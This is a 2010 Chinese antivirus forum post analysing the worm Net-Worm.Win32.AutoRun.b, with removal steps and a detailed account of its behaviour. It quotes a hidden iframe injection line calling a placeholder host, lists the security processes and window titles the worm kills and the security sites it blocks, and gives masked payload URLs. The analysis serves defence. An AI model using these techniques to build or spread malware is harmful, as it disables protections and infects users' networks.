微点交流论坛 - 病毒快报 - 蠕虫程序Net-Worm.Win32.AutoRun.b

» 游客: 注册 | 登录 | 帮助

微点交流论坛 » 病毒快报 » 蠕虫程序Net-Worm.Win32.AutoRun.b

pioneer
超级版主

积分 4563
发帖 4545
注册 2007-7-16
来自 BJ

#1 蠕虫程序Net-Worm.Win32.AutoRun.b

蠕虫程序

Net-Worm.Win32.AutoRun.b

捕获时间

2010-8-12

危害等级

中

病毒症状

该样本是使用“C/C++”编写的蠕虫程序，由微点主动防御软件自动捕获，长度为“56,072”字节，图标为“

”，病毒扩展名为“exe”，主要通过“文件捆绑”、“下载器下载”、“可移动存储器感染”、“局域网感染”等方式传播，病毒主要目的是感染局域网制造网络瘫痪。
　　用户中毒后，会出现安全软件杀软无故退出，有关杀毒的窗口无法打开，系统运行缓慢，无法进入安全模式、无法进行系统还原等现象。

感染对象

Windows 2000/Windows XP/Windows 2003/Windows Vista/ Windows 7

传播途径

文件捆绑、网页挂马、下载器下载、可移动存储器感染、局域网感染

防范措施

已安装使用微点主动防御软件的用户，无须任何设置，微点主动防御将自动保护您的系统免受该病毒的入侵和破坏。无论您是否已经升级到最新版本，微点主动防御都能够有效清除该病毒。如果您没有将微点主动防御软件升级到最新版，微点主动防御软件在发现该病毒后将报警提示您发现“未知木马”，请直接选择删除处理（如图1）

图1 微点主动防御软件自动捕获未知病毒（未升级）

如果您已经将微点主动防御软件升级到最新版本，微点将报警提示您发现木马"Net-Worm.Win32.AutoRun.b”，请直接选择删除（如图2）。

图2 微点主动防御软件升级后截获已知病毒

未安装微点主动防御软件的手动解决办法：

1、手动结束ini.exe进程
2、手动删除以下文件：
%SystemRoot%\programs\fuckme.vbs
%SystemRoot%\programs\wsock32.dll
%SystemRoot%\Tasks\安装.bat
%Temp%\configmon.dat
%SystemDriver%\__default.pif
%SystemRoot%\programs\ini.exe
%SystemRoot%\programs\desktop.ini
3、清除所有文件夹下的wsock32.dll，并将正常的wsock32.dll复制到该路径：%SystemRoot%\system32\wsock32.dll
4、用正常hosts文件替换当前hosts文件，位置为%SystemRoot%\system32\drivers\etc\hosts
5、编辑所有网页文件，找到其中如下字串并删除：
<iframe src=http://www.xx.cn/1.htm width=0 height=0></iframe>
6、删除所有压缩文件中的“安装.bat”
7、若已经感染U盘，则关闭系统自动播放，打开U盘，删除以下文件：
X:\AUTORUN.INF（X为可移动存储器的盘符）
X:\recycle.{645FF040-5081-101B-9F08-00AA002F954E}\ini.exe（X为可移动存储器的盘符）
8、删除以下注册表项：
SOFTWARE\Microsoft\Active Setup\Installed Components\{H8I22RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}
9、将正常注册表值导入以下注册表项中：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AFD
KHEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\
10、根据需要回复开机启动项，对应注册表项为：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

变量声明：

%SystemDriver%　　　　　　　系统所在分区，通常为“C:\”
%SystemRoot%　　　　　　　　WINDODWS所在目录，通常为“C:\Windows”
%Documents and Settings%　　用户文档目录，通常为“C:\Documents and Settings”
%Temp%　　　　　　　　　　　临时文件夹，通常为“C:\Documents and Settings\当前用户名称\Local Settings\Temp”
%ProgramFiles%　　　　　　　系统程序默认安装目录，通常为：“C:\ProgramFiles”

※文章所有权归【pioneer】与【东方微点论坛】共同所有，转载请注明出处！※

2010-8-12 16:55

pioneer
超级版主

积分 4563
发帖 4545
注册 2007-7-16
来自 BJ

#2

病毒分析

(1) 病毒程序带有伪造的卡巴斯基数字签名（数字签名无效），企图迷惑用户。
(2) 病毒创建目录%SystemRoot%\programs\，并在目录下新建程序ini.exe，完成后运行该程序。
(3) 在%SystemRoot%\programs\目录下创建文档desktop.ini作为感染标记。完成后调用命令行删除自身。
(4) %SystemRoot%\programs\ini.exe创建名为“shors1.3”的互斥量，以免重复运行。
(5) 创建线程，建立消息循环反复遍历进程列表。一旦在进程列表中发现以下进程名称则向其发送关闭命令：“safeboxTray.exe”“360Safe.exe”“360safebox.exe”“360tray.exe”“Iparmor.exe”“WEBSCANX.EXE”“TBSCAN.EXE”“TrojanHunter.exe”“THGUARD.EXE”“FWMon.exe”“mmsk.exe”“vptray.exe”“kav32.exe”“kwatch.exe”“kavstart.exe”“kissvc.exe”“kasmain.exe”“RavLite.exe”“RavMon.exe”“CCenter.exe”“UlibCfg.exe”“RavMonD.exe”“RavTask.exe”“FileDsty.exe”“EGHOST.EXE”“Navapw32.exe”“rfwsrv.exe”“rfwmain.exe”“rfwproxy.exe”
(6) 创建线程，建立消息循环反复查看窗口标题。一旦在窗口标题中发现以下窗口标题名称则向其发送关闭命令：“杀毒”“worm”“卡巴斯基”“超级巡警”“江民”“离线升级包”“金山”“Anti”“anti”“Virus”“virus”“Firewall”“检测”“Mcafee”“病毒”“查杀”“狙剑”“防火墙”“主动防御”“微点”“防御”“系统保护”“绿鹰”“主动”“杀马”“木马”“感染”“清除器”“上报”“举报”“举报”“瑞星”“进程”“进程”“系统安全”“Process”“NOD32”“拦截”“后门”“监控”“安全卫士”“监视专杀”
(7) 创建线程，反复查找顶端窗口标题，一旦发现“IceSword”则向该窗口发送关闭消息。
(8) 创建线程，反复遍历盘符并获取对应驱动器的属性。一旦发现可移动存储器，便在其根目录下创建X:\AUTORUN.INF（X为可移动存储器的盘符）。同时创建文件夹X:\recycle.{645FF040-5081-101B-9F08-00AA002F954E}\，并将该文件夹伪装为回收站。完成后，设置两者的属性为只读系统隐藏。
(9) 病毒将本身复制为X:\recycle.{645FF040-5081-101B-9F08-00AA002F954E}\ini.exe（X为可移动存储器的盘符）。AUTORUN.INF会在系统挂载该可移动存储器的时候自动运行recycle.{645FF040-5081-101B-9F08-00AA002F954E}中的ini.exe。
(10)创建线程，建立消息循环。删除脚本运行器设置项，对应注册表项为：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings
反复删除、创建注册表项，将%SystemRoot%\programs\fuckme.vbs加载为开机启动。同时创建对应的VBS脚本：%SystemRoot%\programs\fuckme.vbs，该脚本会执行%SystemRoot%\programs\ini.exe，对应注册表值为：
SOFTWARE\Microsoft\Active Setup\Installed Components\{H8I22RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}
名称：stubpath
数值：%windir%\programs\fuckme.vbs
(11)新建动态链接库文件%SystemRoot%\programs\wsock32.dll
(12)创建线程，遍历除A盘和C盘两盘符外所有盘符下的文件，查找扩展名为”html””htm””asp””aspx””php””jsp”的网页文件，一旦发现则在其中嵌入不可见的页面元素，指向挂马网址。同时查找扩展名为”gho””GHO””Gho”的Ghost恢复文件，一旦发现则立即删除，防止用户恢复系统。
(13)创建线程，建立消息循环，依次搜索局域网同一网段内的所有IP地址，尝试通过弱口令连接局域网内其他计算机，并试图将自身以kav32.exe为名称复制到目标计算机的共享文件夹以及C、D、E、F四个驱动器的根目录下。一旦成功，则以隐藏窗口远程运行该程序，感染局域网内其他机器。
(14)创建线程，获取系统路径。将自身复制到系统任务计划文件夹下并重命名：%SystemRoot%\Tasks\安装.bat。遍历除A盘和C盘两盘符外所有盘符下的文件，查找扩展名为”rar””zip””tgz””cab””tar”的压缩包，一旦发现，则调用WinRAR命令行将%SystemRoot%\Tasks\安装.bat添加到压缩包中
(15)创建线程，从指定网址下载病毒到本地，并存储为%Temp%\configmon.dat。成功后运行该程序。
(16)创建线程，遍历C盘所有文件夹，并将%SystemRoot%\programs\wsock32.dll复制到每一个文件夹目录下，用以替换正常系统文件。
(17)创建线程，反复从指定网址下载病毒，并存储为%SystemDriver%\__default.pif。成功后运行该程序。
(18)创建线程，修改hosts文件，屏蔽以下安全软件或可能获得安全支持的网址：“360.qihoo.com”“qihoo.com””www.qihoo.com””www.qihoo.cn””124.40.51.17””58.17.236.92””www.kaspersky.com””60.210.176.251””www.cnnod32.cn””www.lanniao.org””www.nod32club.com””www.dswlab.com””bbs.sucop.com””www.virustotal.com””tool.ikaka.com””www.jiangmin.com””www.duba.net””www.eset.com.cn””www.nod32.com””shadu.duba.net””union.kingsoft.com””www.kaspersky.com.cn””kaspersky.com.cn””virustotal.com””www.360.cn””www.360safe.cn””www.360safe.com””www.chinakv.com””www.rising.com.cn””rising.com.cn””dl.jiangmin.com””jiangmin.com”
(19)创建线程，建立消息循环。清空系统临时文件夹%Temp%\和帮助文件加%SystemRoot%\help\。清空开机启动项，防止安全软件开机启动。对应注册表项：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
(20)建立死循环，反复清空安全启动注册表项，用以阻止用户进入安全模式，被清空的注册表项为：
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\

病毒创建文件：

%SystemRoot%\programs\ini.exe
%SystemRoot%\programs\desktop.ini
X:\AUTORUN.INF（X为可移动存储器的盘符）
X:\recycle.{645FF040-5081-101B-9F08-00AA002F954E}\ini.exe（X为可移动存储器的盘符）
%SystemRoot%\programs\fuckme.vbs
%SystemRoot%\programs\wsock32.dll
%SystemRoot%\Tasks\安装.bat
%Temp%\configmon.dat
%SystemDriver%\__default.pif

病毒修改文件：

%SystemRoot%\system32\drivers\etc\hosts

病毒创建注册表：
　　
SOFTWARE\Microsoft\Active Setup\Installed Components\{H8I22RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}

病毒删除注册表：

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AFD
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\（被清空）
KHEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\（被清空）
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\（被清空）

病毒访问网络：

http://www.***.cn/1.htm
http://180.***.222.137/1.exe
http://180.***.222.137/360safe.exe

※文章所有权归【pioneer】与【东方微点论坛】共同所有，转载请注明出处！※

2010-8-12 16:58

论坛跳转:

可打印版本 | 推荐 | 订阅 | 收藏

[ 联系我们 - 东方微点 ] 北京东方微点信息技术有限责任公司福建东方微点信息安全有限责任公司闽ICP备05030815号